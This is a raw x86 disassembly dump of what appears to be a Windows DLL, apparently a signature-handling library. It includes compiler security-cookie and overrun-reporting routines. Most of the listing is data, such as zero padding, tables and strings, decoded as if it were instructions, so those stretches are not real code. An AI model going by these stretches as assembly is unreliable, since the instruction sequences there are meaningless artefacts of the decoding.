mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
push eax
call dword [0x10007090]
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x14]
xor eax, dword [ebp - 4]
cld
cld
mov ecx, eax
cmp eax, edi
je 0x462489
test dword [0x10006004], esi
jne 0x462490
mov eax, 0xbb40e64f
mov ecx, eax
mov dword [0x10006004], ecx
not eax
pop edi
mov dword [0x10006008], eax
pop esi
leave
ret
sbb byte [ebp - 0x3d], bl
int3
jo 0x462572
adc byte [ebp - 0x3d], bl
int3
xor eax, 0x10006118
mov dword [0x10006114], edi
mov word [0x10006140], ss
mov word [0x10006134], cs
mov word [0x10006110], ds
mov word [0x1000610c], es
mov word [0x10006108], fs
mov word [0x10006104], gs
pushfd
pop dword [0x10006138]
mov eax, dword [ebp]
mov dword [0x1000612c], eax
mov eax, dword [ebp + 4]
mov dword [0x10006130], eax
lea eax, [ebp + 8]
mov dword [0x1000613c], eax
mov eax, dword [ebp - 0x324]
mov dword [0x10006078], 0x10001
mov eax, dword [0x10006130]
mov dword [0x10006034], eax
mov dword [0x10006028], 0xc0000409
mov dword [0x1000602c], 1
mov dword [0x10006038], 3
push 4
pop eax
imul eax, eax, 0
mov dword [eax + 0x1000603c], 2
adc byte [edx], al
add byte [eax], al
add byte [edx + 4], ch
adc byte [edx], al
add byte [eax], al
add byte [edx + 4], ch
pop eax
shl eax, 0
mov ecx, dword [0x10006004]
mov dword [eax + 0x1000603c], ecx
push 4
pop eax
shl eax, 1
mov ecx, dword [0x10006008]
mov dword [eax + 0x1000603c], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [0x10006004]
mov dword [ebp + eax - 8], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [0x10006008]
mov dword [ebp + eax - 8], ecx
push 0x10001000
call 0x46254b
leave
ret
add byte [eax], al
add byte [eax], al
fmul dword [edi]
adc ah, ch
dec edi
add byte [eax], dl
add byte [eax], al
add byte [eax], al
sbb edx, dword [eax]
adc byte [edi], ch
push eax
add byte [eax], dl
add byte [eax], al
add byte [eax], al
pop esi
push eax
add byte [eax], dl
jb 0x462756
add byte [eax], dl
add byte [eax], al
add byte [eax], al
movsb byte es:[edi], byte [esi]
push eax
add byte [eax], dl
mov eax, 0x100050
add byte [eax], al
add bl, dl
push eax
add byte [eax], dl
out 0x50, eax
add byte [eax], dl
add byte [eax], al
add byte [eax], al
adc dword [ecx], edx
adc byte [0x100051], ah
add byte [eax], al
add byte [edi + 0x51], dl
add byte [eax], dl
imul edx, dword [ecx], 0x10
add byte [eax], al
add byte [eax], al
test al, 0x51
add byte [eax], dl
mov esp, 0x100051
add byte [eax], al
add dh, bh
invalid
add byte [eax], al
invalid
dec ecx
add byte [eax], al
jo 0x4627e8
add byte [eax], al
mov al, 0x48
add byte [eax], al
ror byte [edx], 1
add byte [eax], dh
dec ecx
add byte [eax], al
invalid
pop eax
add byte [eax], al
push es
add byte [edi], al
add byte [eax], al
add byte [ecx], al
add byte [edx], al
add byte [ebx], al
add byte [eax + eax], al
add eax, 0x72777000
jae 0x462855
jo 0x462861
jb 0x46285f
push 0x2e706973
jae 0x462858
jo 0x46281f
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax + 0x73], dl
inc ebx
jb 0x46285f
popal
je 0x462862
invalid
dec eax
dec eax
popal
jae 0x462869
add byte [eax + 0x73], dl
inc esp
insb byte es:[edi], dx
push ebx
imul esp, dword [edi + 0x6e], 0x72757461
add byte gs:[eax + 0x73], dl
inc edi
je 0x46286a
imul esp, dword [edi + 0x6e], 0x72757461
add byte gs:[eax + 0x73], dl
add byte [eax + 0x73], dl
dec ecx
jae 0x462872
jns 0x46286d
imul ebp, dword [ebp + 0x54], 0x657079
push eax
jae 0x462882
jne 0x4628a8
push ebx
imul esp, dword [edi + 0x6e], 0x72757461
add byte gs:[eax + 0x73], dl
push esi
jb case.0x41056d.108
jns 0x46288f
popal
jae 0x4628b2
add byte [esp + ebp*2 + 0x6c], al
push edx
imul esi, dword gs:[bp + di + 0x74], 0x65537265
jb 0x4628aa
jb 0x4628d0
jb 0x4628d0
jb 0x46285d
inc esp
insb byte es:[edi], dx
insb byte es:[edi], dx
push ebp
outsb dx, byte [esi]
jb 0x4628c9
imul esi, dword [bp + di + 0x74], 0x65537265
jb 0x4628e4
jb 0x4628be
push ebx
jb 0x4628e4
jbe 0x4628d4
jb 0x462871
jb 0x462871
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
invalid
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
invalid
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x61], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x61], cl
add dl, byte [eax]
cwde
popal
add dl, byte [eax]
shr byte [ecx], 0
adc byte [eax], dh
sub al, byte [eax]
adc byte [eax + 0x2a], dl
add byte [eax], dl
nop
sub al, byte [eax]
adc byte [eax], dl
sub eax, dword [eax]
adc byte [eax], ah
cmp dword [eax], eax
adc al, dl
push ebp
add byte [eax], dl
loopne 0x462a98
add byte [eax], dl
mov al, 0x97
add byte [eax], dl
mov al, byte [0x801000aa]
movsb byte es:[edi], byte [esi]
add byte [eax], dl
invalid
sahf
add byte [eax], dl
sbb byte [esi - 0x5f5ff000], 0
adc byte [eax + 0x501000a2], al
movsd dword es:[edi], dword [esi]
add byte [eax], dl
invalid
sar byte [edx - 0x44fff000], 0
adc byte [eax - 0x1fefff55], dh
stosb byte es:[edi], al
add byte [eax], dl
pushal
stosd dword es:[edi], eax
add byte [eax], dl
push eax
stosb byte es:[edi], al
add byte [eax], dl
mov al, 0xa8
add byte [eax], dl
jo 0x462a61
add byte [eax], dl
nop
lodsb al, byte [esi]
add byte [eax], dl
and byte [ebx - 0x628ff000], ch
add byte [eax], dl
xor byte [ebx - 0x53aff000], ch
add byte [eax], dl
invalid
adc al, dl
xor dword [eax], eax
adc byte [eax - 0x6fefffd3], dh
lcall 0x1000, 0x9c301000
push eax
pushfd
add byte [eax], dl
nop
pushfd
add byte [eax], dl
inc eax
test al, 0
adc byte [eax + 0x701000a8], ah
mov ebx, 0xbc601000
add byte [eax], dl
adc ah, bl
add byte [eax], dl
add dl, ah
add byte [eax], dl
push eax
sub dword [ecx], eax
adc byte [eax], al
sub al, byte [ecx]
adc byte [eax], dl
sub eax, dword [ecx]
adc byte [eax - 7], ah
add byte [eax], dl
mov al, 0x46
add dword [eax], edx
and byte [eax + eax + 0xa4f010], 0x10
invalid
add dword [eax], edx
nop
pop ebp
add dword [eax], edx
inc eax
pop ebx
add dword [eax], edx
pushal
sti
add dword [eax], edx
sar dl, 1
adc byte [eax], dh
mov dh, 1
adc byte [eax - 0x3feffe4a], ah
mov dh, 1
adc byte [eax + 0x301001b7], dl
mov ch, 1
adc byte [eax], al
mov ch, 1
adc al, al
mov cl, 1
adc byte [eax], dh
std
add dword [eax], edx
jo 0x462bc2
add dl, byte [eax]
loopne 0x462bc6
add dl, byte [eax]
adc byte [0x5501002], al
add dl, byte [eax]
push eax
push cs
add dl, byte [eax]
push eax
add eax, 0xe501002
add dl, byte [eax]
xor byte [ecx], 2
adc byte [eax], al
add byte [eax], al
add byte [eax], bl
pop ss
add byte [eax], dl
jl 0x462bf7
add byte [eax], dl
or byte [edi], dl
add byte [eax], dl
jl 0x462bff
add byte [eax], dl
dec eax
pop ss
add byte [eax], dl
test byte [ecx], bl
add byte [eax], dl
js 0x462c09
add byte [eax], dl
mov word [ecx], ds
add byte [eax], dl
test al, 0x17
add byte [eax], dl
xchg esp, eax
adc byte [eax - 0x6befffe9], ch
sbb dword [eax], eax
adc byte [eax + 0x17], ch
add byte [eax], dl
pushfd
sbb dword [eax], eax
adc byte [eax - 0x7befffe9], cl
sbb dword [eax], eax
adc byte [eax], bh
pop ss
pop ss
add byte [eax], dl
test byte [ecx], bl
add byte [eax], dl
cmp byte [edi], dl
add byte [eax], dl
movsb byte es:[edi], byte [esi]
sbb dword [eax], eax
adc byte [eax + 0x17], bl
add byte [eax], dl
lodsb al, byte [esi]
sbb dword [eax], eax
adc byte [eax - 0x4befffe9], bl
sbb dword [eax], eax
adc byte [eax], ch
pop ss
add byte [eax], dl
mov esp, 0xb8100019
pop ss
add byte [eax], dl
les ebx, [ecx]
add byte [eax], dl
sub byte [eax], bl
add byte [eax], dl
int3
sbb byte [eax], al
adc al, al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dh
add dl, byte [eax]
shl byte [esi], 0
adc byte [ecx], al
add byte [eax], al
add byte [esp + esi*2], dl
add dl, byte [eax]
add byte [eax], al
add byte [eax], al
insb byte es:[edi], dx
adc eax, dword [eax]
adc byte [esi], cl
jne 0x462cf4
adc byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
les esp, [esi]
add byte [eax], dl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
les esp, [esi]
add byte [eax], dl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sbb byte [edx + eax + 0x10], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx + 2], cl
adc byte [eax], al
add byte [eax], al
add al, al
sub dword [eax], eax
add byte [eax], al
xor byte [edx], ch
add byte [eax], al
add byte [eax + 0x2a], dl
add byte [eax], al
add byte [eax + 0x2a], dl
adc byte [ebx], ch
add byte [eax], al
add byte [eax + 0x200002b], ah
mov al, 0x2b
add byte [eax], al
add al, al
sub eax, dword [eax]
add byte [edx], al
loopne 0x462dc1
add byte [eax], al
add dh, byte [eax + 0x2c]
mov al, 0x2d
add byte [eax], al
add al, dl
xor dword [eax], eax
add byte [eax], al
adc byte [edi], dh
add byte [eax], al
add byte [eax], ah
cmp dword [eax], eax
add byte [eax], al
loopne 0x462df1
add byte [eax], al
add al, al
add byte ds:[eax], al
add byte [eax], dh
inc edx
add byte [eax], al
add byte [eax + 0x42], ah
pushal
inc edx
add byte [eax], al
add byte [eax + 0x42], dh
push eax
inc ebx
add byte [eax], al
add al, dh
inc ebx
add byte [eax], al
add byte [eax], dh
inc esp
add byte [eax], al
add byte [eax], al
xor byte [eax + eax], al
add byte [eax + 0x44], dh
add byte [eax], al
add byte [eax + 0x45], al
add byte [eax], al
add byte [eax], ah
inc edi
add byte [eax], al
add byte [eax + 0x51], dl
push eax
push edx
add byte [eax], al
add byte [eax + 0x52], al
add byte [eax], al
add byte [eax], al
adc byte [edx], 0
add byte [eax], al
rcl byte [ebp]
add byte [eax], al
xor byte [edx], bl
add byte [eax], al
mov al, 0x63
add byte [eax], al
add byte [eax], al
jno 0x462e0a
add byte [eax], al
rcl byte [ebp]
add byte [eax], al
xor byte [edx], bl
add byte [eax], al
mov al, 0x63
add byte [eax], al
add byte [eax], al
jno 0x462e0a
add byte [eax], al
loopne 0x462e80
add byte [eax], al
add al, al
xchg ebp, eax
add byte [eax], al
add byte [eax + 0x97], dh
jo 0x462db6
add byte [eax], al
add byte [eax + 0x9a], dl
add byte [eax], al
add byte [eax], dh
pushfd
add byte [eax], al
add byte [eax - 0x64], dl
add byte [eax], al
add byte [eax], dh
pushfd
add byte [eax], al
add byte [eax - 0x64], dl
add byte [eax], al
add byte [eax + 0x9c], dl
jo 0x462dd3
add byte [eax], al
add byte [eax], al
sahf
add byte [eax], al
add byte [eax + 0x9e], al
mov al, byte [0xa0]
and byte [edx - 0x80000000], 0xa4
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
add byte [eax], al
add al, dh
movsb byte es:[edi], byte [esi]
add byte [eax], al
add byte [eax], al
movsd dword es:[edi], dword [esi]
add byte [eax], al
add byte [eax - 0x5b], dl
add byte [eax], al
add byte [eax - 0x58], al
add byte [eax], al
add byte [eax + 0xa8], ah
mov al, 0xa8
add byte [eax], al
add byte [eax - 0x56], dl
add byte [eax], al
add byte [eax + 0xaa], ah
shr byte [edx - 0x20000000], 1
stosb byte es:[edi], al
add byte [eax], al
add al, dh
stosb byte es:[edi], al
add byte [eax], al
add byte [eax], al
stosd dword es:[edi], eax
add byte [eax], al
add byte [eax], dl
stosd dword es:[edi], eax
add byte [eax], al
add byte [eax], ah
stosd dword es:[edi], eax
add byte [eax], al
add byte [eax], dh
stosd dword es:[edi], eax
add byte [eax], al
add byte [eax - 0x55], al
add byte [eax], al
add byte [eax - 0x55], dl
add byte [eax], al
add byte [eax - 0x55], ah
add byte [eax], al
add byte [eax - 0x55], dh
add byte [eax], al
add byte [eax + 0xab], al
nop
stosd dword es:[edi], eax
add byte [eax], al
add byte [eax + 0xab], ah
mov al, 0xab
add byte [eax], al
add al, al
stosd dword es:[edi], eax
add byte [eax], al
add al, dl
stosd dword es:[edi], eax
add byte [eax], al
add al, ah
stosd dword es:[edi], eax
add byte [eax], al
add al, dh
stosd dword es:[edi], eax
add byte [eax], al
add byte [eax], al
lodsb al, byte [esi]
add byte [eax], al
add byte [eax], dl
lodsb al, byte [esi]
add byte [eax], al
add byte [eax], ah
lodsb al, byte [esi]
add byte [eax], al
add byte [eax], dh
lodsb al, byte [esi]
add byte [eax], al
add byte [eax - 0x54], al
add byte [eax], al
add byte [eax - 0x54], dl
add byte [eax], al
add byte [eax - 0x54], ah
add byte [eax], al
add byte [eax - 0x54], dh
add byte [eax], al
add byte [eax + 0xac], al
nop
lodsb al, byte [esi]
add byte [eax], al
add byte [eax + 0xac], ah
mov al, 0xac
add byte [eax], al
add byte [eax - 0x52], ah
scasb al, byte es:[edi]
scasb al, byte es:[edi]
add byte [eax], al
add byte [eax + 0xb5], dl
pushal
mov eax, 0x40000000
mov ecx, 0x70000000
mov ecx, 0xb0000000
mov ecx, 0xf0000000
mov ecx, 0x40000000
mov edx, SysReAllocString
mov edx, 0xc0000000
mov edx, 0
mov ebx, 0x70000000
mov ebx, 0x60000000
mov esp, 0x10000000
fadd qword [eax]
add byte [eax], al
add dl, ah
add byte [eax], al
add byte [eax - 0xe], ah
add byte [eax], al
add byte [eax - 7], ah
add byte [eax], al
add al, dl
add dword es:[eax], eax
add byte [eax + 0x29], dl
add dword [eax], eax
add byte [eax], al
sub al, byte [ecx]
add byte [eax], al
adc byte [ebx], ch
add dword [eax], eax
add byte [eax + 0x13d], dh
push eax
add dword ds:[eax], eax
add byte [eax + 0x146], dh
mov al, byte [0x150]
inc eax
pop ebx
add dword [eax], eax
add byte [eax + 0x15d], dl
rol byte [ebp + 0x50000001], 0xaa
add dword [eax], eax
add al, al
mov cl, 1
add byte [eax], al
push eax
mov bl, 1
add byte [eax], al
add byte [ebp + 0x30000001], dh
mov ch, 1
add byte [eax], al
xor byte [ebp - 0x6fffffff], 0xb5
add dword [eax], eax
add byte [eax], dh
mov dh, 1
add byte [eax], al
mov al, byte [0x1b6]
sal byte [esi - 0x6fffffff], 0xb7
add dword [eax], eax
add byte [eax + 0x1b7], dl
add byte [eax - 0xfffffff], bh
add dword [eax], eax
add byte [eax + 0x1b7], dl
add byte [eax - 0xfffffff], bh
mov edx, 0x90000001
into
add dword [eax], eax
add byte [eax], dh
hlt
add al, byte [eax]
add byte [eax], dl
add eax, 0x50000002
add eax, 0x50000002
push cs
add al, byte [eax]
add byte [eax + 0x231], al
add byte [ecx + 2], cl
add byte [eax], al
and byte [ebx + 2], cl
add byte [eax], al
push eax
dec esi
add al, byte [eax]
add byte [eax + 0x52], al
add al, byte [eax]
add byte [eax + 0x252], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
rol byte [eax], 0
add byte [eax], al
add byte [eax], al
inc esi
add dword [eax], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, al
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
and eax, dword [ebx]
add byte [eax], al
add byte [eax], al
add byte [eax], al
rol byte [eax], 0
add byte [eax], al
add byte [eax], al
inc esi
sub dl, byte [eax - 0x4e]
pop esi
int1
mov ecx, ss
adc dword [edi + 0x8600092], edi
push ds
pushal
or byte [esi], bl
fcom dword [ecx]
mov al, 0x87
bound ebp, qword [esi + 0x11d20084]
xchg edi, eax
cmp eax, dword [eax]
mov al, byte [0x2e8f06c9]
test al, 0x58
movsd dword es:[edi], dword [esi]
mov al, 0xa5
rcl byte [ecx], cl
mov al, byte [0x4fc0008f]
jb 0x463083
cmp al, 0x98
stc
into
cmpsb byte [esi], byte es:[edi]
mov al, 0xa5
rcl byte [ecx], cl
mov al, byte [0x4fc0008f]
jb 0x463093
cmp al, 0x10
lodsd eax, dword [esi]
mov cl, 0x4d
xchg ecx, eax
xor edx, edx
adc dword [edx + 0x4fc00033], ebx
mov dword [0xe8a04561], eax
mov ch, 0x98
int3
lodsd eax, dword [esi]
and dword [ebp - 0x5e49b2b8], edi
or dword [esi + 0x3e], 0x14
xchg edi, eax
rcl byte fs:[ecx], cl
mov byte [0x4fc00031], al
mov dword [0xbade0918], eax
mov esp, dword [edx + 0x11d264b6]
mov byte [0x4fc00031], al
mov dword [0xa5590918], eax
and bl, byte [0x11d2e14f]
loope 0x463261
adc dword [ebx + 0x4fc00026], esi
loope 0x463261
adc dword [ebx + 0x4fc00026], esi
push 0x4ef561ce
invalid
add byte [eax], al
inc esi
push edx
inc esp
insb byte es:[edi], dx
insb byte es:[edi], dx
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
insd dword es:[edi], dx
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
push ebp
outsb dx, byte [esi]
jb 0x463341
inc esp
insb byte es:[edi], dx
insb byte es:[edi], dx
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
insd dword es:[edi], dx
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [eax], al
adc edx, dword [ecx + 0x50eeda31]
or byte [esp + esi*4 + 0x60], 0x57
rol byte [0xa32c4ad4], 1
aam 0xf5
push edi
fadd dword [ecx - 0x2d]
dec ebx
xchg esp, eax
push edx
outsb dx, byte [esi]
xor byte [esi], ah
out 0x3d, al
push ds
pop esi
pop ss
int1
jecxz 0x46336a
mov edx, 0x448e445c
int1
fnstcw word [ebp - 0x17f2a7d7]
call 0x85526414
inc ecx
inc edx
test byte [eax + 0x56], al
push ds
mov esp, 0x6c5e1a22
out dx, al
int1
fisttp word [edi - 0x66]
push edx
inc esi
cdq
or esi, dword [ecx]
push edi
jne 0x46330a
sub dl, byte [esi + 0x74569bd2]
jp case.0x4103c1.221
ja 0x463386
mov eax, dword [0x5adaade5]
or dword [ebp + 0x621129bf], edi
in eax, 0xad
ficomp dword [edx + 9]
mov ebp, 0x621129bf
rol esp, 1
inc ebp
lodsd eax, dword [esi]
inc ecx
mov eax, dword [0xaf7eafd1]
stosd dword es:[edi], eax
out dx, al
fmul qword [edx + 0x60f74071]
in al, 5
dec ebx
sub eax, 0xffffffc5
shl byte [ecx], cl
invalid
dec edi
ljmp 0x3ae2
add ah, byte [edx + 0x2e]
bound eax, qword [eax]
insd dword es:[edi], dx
add byte [eax], dh
add byte [eax], al
push 0
jo 0x463388
add byte [bx + si], al
add byte [eax + eax + 0x69], dh
add byte [esi], ah
add byte [eax], al
add byte [eax], dh
js 0x46339a
add byte [eax], al
add byte [bx + di], ch
add byte [eax], al
add byte [edi], dh
insd dword es:[edi], dx
add byte [esi], ah
add byte [eax], al
jo 0x4633ae
outsb dx, byte [esi]
add byte [edi], ah
add byte [eax], al
jo 0x4633b6
arpl word [eax], ax
add byte fs:[eax], al
add byte [ebp], ah
insd dword es:[edi], dx
add byte [esi], ah
add byte [eax], al
imul eax, dword [eax], 0x6f0063
add byte [eax], al
ja 0x4633ce
popal
add byte [esi], dh
add byte [eax], al
insd dword es:[edi], dx
add byte [eax], dh
xor eax, dword [eax]
add byte [eax], al
popal
add byte [ecx], ch
add byte [eax], al
add byte [edi], dh
insd dword es:[edi], dx
add byte [ecx], ah
add byte [eax], al
jb 0x4633ee
je 0x4633f0
add byte [eax], al
add byte [eax], bh
insd dword es:[edi], dx
add byte [eax + eax], ch
add byte [eax], ch
je 0x463400
insd dword es:[edi], dx
add byte [eax], al
add byte [eax + eax + 0x78], dh
add byte [eax + eax], dh
add byte [ebp], ch
jo 0x463410
add byte [bx + si], al
add byte [ecx], ah
jbe 0x463418
imul eax, dword [eax], 0x200000
sub byte [eax], al
sub al, byte [eax]
add byte cs:[eax], al
add byte [eax], ah
add byte [eax], ch
add byte [edx], ch
add byte [esi], ch
add byte [eax], al
add byte [eax], al
add byte [ecx], ch
add byte [eax + eax + 0x2a], bh
add byte [esi], ch
add byte [eax], al
add byte [eax], al
add byte [eax + eax], bh
add byte [eax], al
add byte [eax], al
add byte [edi], dl
dec ecx
add byte [ecx], al
dec ecx
add byte [eax + eax + 0x65], dh
add byte [ebp], ch
add byte [eax], al
add byte [eax], al
add byte [eax], al
push edi
add byte [ecx], cl
inc ecx
add byte [ecx], cl
je 0x463446
